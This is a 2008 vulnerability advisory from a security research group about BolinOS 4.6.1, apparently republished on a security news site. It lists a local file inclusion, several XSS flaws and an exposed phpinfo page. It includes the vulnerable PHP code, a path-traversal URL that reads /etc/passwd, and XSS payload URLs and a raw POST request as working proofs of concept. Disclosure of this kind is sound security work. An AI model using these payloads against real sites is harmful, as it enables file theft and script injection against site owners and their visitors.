Multiple Security Vulnerabilities in Bolinos 4.6.1

Advisory Content :

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-022

Application: BolinOS
Versions Affected: 4.6.1
Vendor URL: http://www.bolinos.com
Bugs: Local File Include,Multiple XSS, System
information disclosure
Exploits: YES
Reported: 13.03.2008
Second report: 18.03.2008
Vendor response: none
Solution: none
Date of Public Advisory: 25.03.2008
Authors: Digital Security Research Group [DSecRG]
(research [at] dsec [dot] ru)

Description
***********

BolinOS system has multiple security vulnerabilities:

1. Local File Include
2. Multiple Linked XSS vulnerabilities
3. Multiple XSS in POST
4. System information disclosure

Details
*******

1. Local File Include vulnerability found in
system/_b/contentFiles/gbincluder.php

Code
****
#################################################

$actionpagetoinclude=$_GET["_bFileToInclude"];
if($actionpagetoinclude!="" &&
@file_exists(gBRootPath."/$actionpagetoinclude")){
@include(gBRootPath."/$actionpagetoinclude");
}
else{
echo "NO FILE";
}

#################################################

Example:

http://[server]/[installdir]/system/_b/contentFiles/gbincluder.php?_bFil
eToInclude=../../../../../../../../../../../../../etc/passwd

---------------------------------------------------------------------

2. Multiple linked XSS vulnerabilities found.

2.1 Linked XSS vulnerability found in page
/system/actionspages/_b/contentFiles/gBImageViewer.php

Attacker can inject XSS in GET parameter "url"

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBImage
Viewer.php?url=<script>alert('DSecRG XSS')</script>

2.2 Linked XSS vulnerability found in page
/system/actionspages/_b/contentFiles/gBselectorContents.php

Attacker can inject XSS in GET parameter "ForEditor".

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBselec
torContents.php?ForEditor='><IMG%20SRC="javascript:alert('DSecRG XSS')">

2.3 Linked XSS vulnerabilities found in following pages:

/system/actionspages/_b/contentFiles/gBLoginPage.php
/system/actionspages/_b/contentFiles/gBPassword.php

Attacker can inject XSS script in URL

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBLogin
Page.php/"><script>alert('DSecRG XSS')</script>
http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBPassw
ord.php/"><script>alert('DSecRG XSS')</script>

---------------------------------------------------------------------

3. Multiple XSS in POST vulnerabilities, attacker can inject XSS in POST
parameter.

3.1 Vulnerability found in script
/system/actionspages/_b/contentFiles/gBLoginPage.php

POST parameter "formlogin".

Example:

POST
/bolinos/system/actionspages/_b/contentFiles/gBLoginPage.php?bAddress=bo
linos.sessions HTTP/1.0
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DS;
.NET CLR 2.0.50727)

formlogin=%27><img%20src%3d%22javascript:alert(%27DSecRG%20XSS%27)%22>&B
tLogin.x=

3.2 Vulnerability found in page /help/index.php

POST parameter "bolini_searchengine46Search".

Example:

bolini_searchengine46Search = '><IMG SRC=javascript:alert("DSecRG XSS")>

--------------------------------------------------------------------

4. System information disclosure

Non-authentication user can access phpinfo() page.

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBphpIn
fo.php

About
*****

Digital Security is leading IT security company in Russia, providing
information security consulting, audit and penetration testing services,
risk analysis and ISMS-related services and certification for ISO/IEC
27001:2005 and PCI DSS standards. Digital Security Research Group focuses
on web application and database security problems with vulnerability
reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Multiple Security Vulnerabilities in Bolinos 4.6.1